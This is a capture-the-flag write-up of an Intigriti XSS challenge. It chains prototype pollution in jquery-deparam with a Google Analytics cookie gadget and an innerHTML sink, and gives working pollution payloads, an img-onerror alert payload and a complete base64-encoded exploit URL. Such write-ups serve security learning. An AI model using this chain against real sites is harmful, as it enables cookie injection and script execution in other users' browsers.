Write-up
Looking at the source of the challenge, we see that when the challenge loads, the handleLoad()
function is invoked.
const handleLoad = () => {
let username = readCookie('username');
if (!username) {
document.cookie = `username=unknownUser${Math.floor(Math.random() * (1000 + 1))};path=/`;
}
let recipe = deparam(atob(new URL(location.href).searchParams.get('recipe')));
ga('create', 'ga_r33l', 'auto');
welcomeUser(readCookie('username'));
generateRecipeText(recipe);
console.log(recipe)
}
window.addEventListener("load", handleLoad);
We can see that if a cookie username
is not already set, it will be set to “unknownUser{random integer}”. After that, the value inside the request parameter recipe
is base64-decoded and then passed to this deparam()
function.
If we look at the main challenge page, we see that this function is from a library called jquery-deparam. We see that a Google Analytics script is also included. 🤔
<script src="main.js"></script>
<script src="https://rawcdn.githack.com/AceMetrix/jquery-deparam/81428b3939c4cbe488202b5fa823ad661d64fb49/jquery-deparam.js"></script>
<script src="https://www.google-analytics.com/analytics.js"></script>
Looking up the jquery-deparam
library, we found that it is used to transform a request query string into a JS object. We also found that it is vulnerable to Prototype Pollution. This means that we are able to pollute the Object prototype and insert/modify arbitrary properties belonging to it!
So our recipe
parameter can contain the following payload to pollute the Object prototype:
?__proto__[test]=test
?constructor[prototype][test]=test
Testing that the pollution works (sending it as part of the base-64 encoded recipe
parameter):
__proto__%5Btest%5D=test
It works! However, even if we can pollute the Object prototype, it does not appear that the code has any clone/merge operations that would trigger any payloads that we insert.
More on Prototype Pollution here.
So let’s get back to tracing the code.
After the recipe
value is decoded and transformed into a JS Object, a call to google analytics is made followed by setting the username label on the page to the value specified in the cookie. This code is vulnerable if we are able to control the content of username
.
function welcomeUser(username) {
let welcomeMessage = document.querySelector("#welcome");
welcomeMessage.innerHTML = `Welcome ${username}`;
}
Since the content is from username
cookie, there must be some way to influence the value of this cookie. The google analytics code looks out of place and maybe there is some kind of sink that we can use? Surely there must be a reason why this analytics is only invoked after our recipe
Object is initialized. 😄
Sure enough, there is a sink which will read the cookieName
property. So, we are able to add an arbitrary cookie using the following payload:
?__proto__[cookieName]=COOKIE%3DInjection%3B
Trying out the following payload, we see that a username
cookie with the value 1337pwned
has been added (sending it as part of the base-64 encoded recipe
parameter):
__proto__%5BcookieName%5D=username%3D1337pwned%3B
However, there is another problem in how the cookies are processed by the application. From the readCookie()
function, we see that it will loop through the values returned by document.cookie
and when the substring username=
is matched, its value will be returned (remaining cookies are ignored).
function readCookie(name) {
let nameEQ = name + "=";
let ca = document.cookie.split(';');
for (let i=0; i < ca.length; i++) {
let c = ca[i];
while (c.charAt(0)===' ') c = c.substring(1,c.length);
if (c.indexOf(nameEQ) === 0) return c.substring(nameEQ.length,c.length);
}
return null;
}
Our injected cookie shows up as the second cookie. We will need to increase its precedence so that it will be processed before the original cookie. After looking around, it appears that when cookies have the same name, their precedence is ranked by whichever cookie has a more elaborate Path
.
Let us then add an additional prototype pollution property, this time on cookiePath
. We will set it to /challenge
which will make it more precise than the default /
.
Replacing the payload username
cookie with a simple XSS payload (<img src onerror=alert(document.domain)>
), this leaves us with the payload:
__proto__%5BcookieName%5D=username%3D%3Cimg src onerror%3Dalert(document.domain)%3E;&__proto__%5BcookiePath%5D=/challenge
Sending this base64-encoded payload in the recipe
request parameter:
https://challenge-0821.intigriti.io/challenge/cooking.html?recipe=X19wcm90b19fJTVCY29va2llTmFtZSU1RD11c2VybmFtZSUzRCUzQ2ltZyBzcmMgb25lcnJvciUzRGFsZXJ0KGRvY3VtZW50LmRvbWFpbiklM0U7Jl9fcHJvdG9fXyU1QmNvb2tpZVBhdGglNUQ9L2NoYWxsZW5nZQ==
… triggers the XSS: